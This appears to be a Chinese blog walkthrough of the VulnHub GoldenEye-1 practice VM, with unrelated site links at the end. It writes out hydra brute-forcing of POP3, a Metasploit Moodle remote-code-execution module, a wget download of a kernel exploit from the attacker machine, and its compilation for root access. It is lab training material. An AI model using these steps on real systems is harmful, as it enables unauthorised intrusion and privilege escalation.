前言

“操千曲而后晓声,观千剑而后识器”,下载靶机项目实战提升自我,这是一个涉及到渗透与CTF联合的实战项目。

Descript: 我最近完成了一个OSCP类型的易受攻击机器的创建,它以伟大的詹姆斯·邦德电影(甚至更好的n64游戏)《黄金眼》为主题。目标是获得根并捕获秘密的GoldenEye代码-flag.txt。

我认为它是中级的,它有各种各样的技术来获得root-无漏洞开发/缓冲区溢出。完成OSCP后,我认为这将是一个很好的练习,再加上有一点CTF的味道。

靶场环境

kali:192.168.31.153

靶机:192.168.31.67

靶机下载地址: https://www.vulnhub.com/entry/goldeneye-1,240/

下载完导入到vm即可

GoldenEye靶场渗透实战

访问靶机地址得到以下界面,得到ip,以及web页面,能够进行信息收集,获取端口信息,文件路径和对当前web页面进行检测。

获取端口和检测当前web页面这两个信息收集方向可以作为此次渗透入手点

从上方显示的页面可以了解到他要我们去访问/sev-home/这一目录,而此目录是一个js登录点,很明显要我们无法爆破密码而是要我们自己在当前页面寻找线索破解

返回去原始界面,ctrl + u 获取前端页面源码,发现页面引用了一个terminal.js文件,其中注释了一段话,大致意思是告诉Boris,Natalya能破解他的密码,并且还将编码后的密码写了下来,看到编码是html实体,直接用html实体解码得到 InvincibleHack3r,根据这段话逻辑是发给Boris的,所以用户就是boris,解码得到的字符就是其密码

用户boris,密码InvincibleHack3r,登录成功,得到页面一段英文提示:要向pop3服务存在的非默认高端口发送邮件,言外之意就是要我们找到那个高端口进行爆破登录

利用nmap扫描神器对192.168.31.67扫描高端口 nmap -p 1024-65535 192.168.31.67

发现了55006,55007两个高端口

得到两个pop3端口,根据页面提示我们要对boris,natalya这两个账号进行爆破

预先准备一个密码本,一个写入两个用户名的文本
使用九头蛇hydra爆破
echo 'boris' >> golden.txt
echo 'natalya' >> golden.txt
cat golden.txt

hydra爆破55007
hydra -L golden.txt -P password.txt 192.168.31.67 -s 55007 pop3
得到用户/密码
boris/secret1!
natalya/bird

利用nc登录pop3查看邮箱信息

nc 192.168.31.67 55007
user boirs //登录用户boris
pass secret1! //登录密码secret1!
retr 1 //查看邮件1

第一封邮件:Boris,我是管理员。你可以在这里与同事和学生进行电子交流。我不会扫描电子邮件的安全风险,因为我信任你和这里的其他管理员。

第二封邮件:Boris,我可以破解你的密码

第三封邮件:原文太长,我直接读取含义:要去登录xenia账号查找更多线索

登录natalya账号

第一封:不要再破解boris密码

第二封:获得xenia的账号密码 xenia/RCP90rulez! 并且要在/etc/hosts文件中添加severnaya-station.com域名才能访问severnaya-station.com/gnocertdir

在kali访问severnaya-station.com/gnocertdir地址:发现是一个moodle的开源CMS系统,继续点击界面的相关功能发现需要登陆,利用刚才在邮件中发现的用户名和密码登录

紧接着尝试对xenia账号进行信息收集,最终发现有一个邮件提示到有关于doak的电子邮箱

照旧继续用hydra破解得到 doak/goat 并且登录获取邮件信息

登录查看第一封邮件得到web页面登录用户密码 dr_doak/4England!

回到web界面登录dr_doak,在私人文件里面查找到一个文件夹,其中里面的文本提示了访问一个图片链接:/dir007key/for-007.jpg

访问图片链接并下载下来

一般图片线索都有可能是采用了隐写,kali可用的几种隐写工具:1.kali自带的binwalk 图片路径。2.利用exiftool 图片名称。3.利用strings 图片名称,这里我直接采用strings

破解得到一串bas64编码的字符,使用burp的decode base64解码得admin的密码:xWinter1995x!

登录admin账号收集信息,发现并没有什么有用的,但是发现了moodle是2.2.3版本的,在百度搜了一下发现Moodle有一个CVE-2013-3630漏洞,到此有两种方法继续getshell,1.选择去网上下载exp脚本获取权限,2.利用msf工具集成的漏洞exp进行getshell

以下我选择msf的集成化环境做测试,打开msf搜索moodle就会浮现已经集成好的漏洞exp

msfconsole    //开启msf
search moodle //搜索moodle相关的exp
use 1 //使用编号1的exp
show payloads //查找载荷
set payload 5 //设置载荷5
set PASSWORD xWinter1995x! //设置用户密码
set RHOSTS severnaya-station.com //设置目标站点
set targeturi /gnocertdir //设置目标路径
set lhost 192.168.31.153 //设置本地站点
show options //查看当前配置
run //运行

发现getshell失败,找了一圈,尝试了很多次发现在

Page path

Home / ► Site administration / ► Plugins / ► Text editors / ► TinyMCE HTML editor处有拼写引擎和语言识别,可以选择PSpellShell(Power Spell Shell ),Google Spell,PShell,我们选择PSpellShell可以与msf的exp形成互联,保存配置(save change)

回到msf重新执行exp,会返回一个后台终端,到此getshell成功

接着我们对后台进行信息收集,查找系统漏洞

python -c 'import pty; pty.spawn("/bin/bash")'  //一开始获取的权限没有linux框架,使用shell pty转化

使用cat /proc/version命令查看内核版本信息,发现是Linux ubuntu 3.13.0-32

在浏览器搜索该版本是否存在漏洞,ubuntu 3.13.0存在内核溢出漏洞,在kali中编号为37292的c脚本,在kali使用searchsploit命令检索相关漏洞exp执行脚本

searchsploit 37292   //检索编号
find / -name 37292.c //查找路径

cp /usr/share/exploitdb/exploits/linux/local/37292.c  /root/37292.c  //复制到root路径下
vim 37292.c //修改脚本,将gcc 改为cc,保存退出

使用python开启本地目录http服务
python3 -m http.server 8081
在msf获取到的后台执行以下命令,使用wget命令下载脚本
wget http://192.168.31.153:8081/37292.c

使用cc编译37292.c脚本为exp
cc -o exp 37292.c
chmod +x exp //给予执行权限
./exp //执行脚本

总结

1.信息收集:(1)前端js信息收集 (2)nmap端口扫描 (3)html实体解码 (4)收集用户敏感信息 (5)内核系统信息收集 (5)图片隐写

2.渗透:(1)hydra暴力破解 (2)利用msf集成exp getshell (3)内核溢出漏洞利用

3.多多动手实战,继续加油!

GoldenEye项目实战的更多相关文章

  1. Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  2. 给缺少Python项目实战经验的人

    我们在学习过程中最容易犯的一个错误就是:看的多动手的少,特别是对于一些项目的开发学习就更少了! 没有一个完整的项目开发过程,是不会对整个开发流程以及理论知识有牢固的认知的,对于怎样将所学的理论知识应用 ...

  3. 【腾讯Bugly干货分享】React Native项目实战总结

    本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/577e16a7640ad7b4682c64a7 “8小时内拼工作,8小时外拼成长 ...

  4. Asp.Net Core 项目实战之权限管理系统(0) 无中生有

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  5. Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  6. Asp.Net Core 项目实战之权限管理系统(2) 功能及实体设计

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  7. Asp.Net Core 项目实战之权限管理系统(3) 通过EntityFramework Core使用PostgreSQL

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  8. Asp.Net Core 项目实战之权限管理系统(5) 用户登录

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  9. Asp.Net Core 项目实战之权限管理系统(6) 功能管理

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  10. Asp.Net Core 项目实战之权限管理系统(7) 组织机构、角色、用户权限

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

随机推荐

  1. vue中实用小技巧,长期更新

    1.在vue 中使用webpack require.context工程化配置组件,不用一个一个import注册了 main.js中 import Vue from 'vue'//使用lodsh插件im ...

  2. sort和sorted区别----引子:多维列表,如何实现第一个元素升序,第二个元素降序

    一.列表内建方法--sort() 作用:就地对列表排序(直接在原列表上做排序) 语法: list.sort(func=None, key=None, reverse=False) 当reverse=F ...

  3. 一些随笔No.3

    1.开发应以业务为导向,技术只是手段 2.视觉上和程序上不一定是完全符合 比如,我所说的阻塞是视觉层面,或者是对用户而言的阻塞,而不是程序意义上的.我也许会传完参的同时销毁原组件,生成一个看起来一模一 ...

  4. 聊一聊如何使用Crank给我们的类库做基准测试

    目录 背景 什么是 Crank 入门示例 Pull Request 总结 参考资料 背景 当我们写了一个类库提供给别人使用时,我们可能会对它做一些基准测试来测试一下它的性能指标,好比内存分配等. 在 ...

  5. [MAUI 项目实战] 手势控制音乐播放器(二): 手势交互

    @ 目录 原理 交互实现 容器控件 手势开始 手势运行 手势结束 使用控件 拖拽物 创建pit集合 项目地址 原理 定义一个拖拽物,和它拖拽的目标,拖拽物可以理解为一个平底锅(pan),拖拽目标是一个 ...

  6. .NET快速开发框架-RDIFramework.NET 全新EasyUI版发布

    RDIFramework.NET,基于.NET的快速信息化系统快速开发框架.10年专注.易上手.多组件.全源码.可灵活构建各类型系统. 1.RDIFramework.NET快速开发框架简介 RDIFr ...

  7. Go语言网络编程:SSH连接

    旨在提升Go语言网络编程能力 SSH是什么? SSH 为 Secure Shell 的缩写,为建立在应用层基础上的安全协议.SSH 是较可靠,专为远程登录会话和其他网络服务提供安全性的协议.利用 SS ...

  8. 火山引擎 DataTester:让企业“无代码”也能用起来的 A/B 实验平台

    更多技术交流.求职机会,欢迎关注字节跳动数据平台微信公众号,回复[1]进入官方交流群 当数字化变革方兴未艾,无代码正受到前所未有的关注.Salesforce 的数据显示,52%的 IT 部门表示,公司 ...

  9. 如何在现有项目中使用`Masa MiniApi`?

    首先我们现有创建一个空的WebApi的项目模板,这个项目模板和MasaFramework本身没有任何关联,我们本博客只是使用的MasaFramework的MiniApi的包 创建Asp.NET Cor ...

  10. 【ACM算法竞赛日常训练】DAY16【奇♂妙拆分】【区区区间间间】【小AA的数列】数学 | 位运算 | 前缀和

    DAY16共3题: 奇♂妙拆分(简单数学) 区区区间间间(单调栈) 小AA的数列(位运算dp) 作者:Eriktse 简介:19岁,211计算机在读,现役ACM银牌选手力争以通俗易懂的方式讲解算法!️ ...